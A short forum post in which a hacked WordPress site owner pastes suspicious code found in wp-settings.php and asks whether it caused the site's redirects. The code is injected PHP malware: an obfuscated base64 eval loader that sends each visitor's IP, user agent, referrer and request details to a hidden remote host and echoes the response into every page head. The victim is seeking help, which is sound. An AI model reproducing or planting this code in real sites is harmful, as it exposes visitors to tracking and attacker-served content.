Site hacked possible code in wp-settings?

recently had a site hacked and was redirecting to another site am in the process of restoring the site and ran into this code in wp-settings I am wondering if this is the code that led to the redirect?

Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref;$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 2);$re = curl_exec($ch);curl_close($ch);echo $re;}add_action('wp_head', 'counter_wordpress');
do_action( 'init' );

Am not a programmer so if anyone has some programming knowledge and can decipher this it would be appreciated.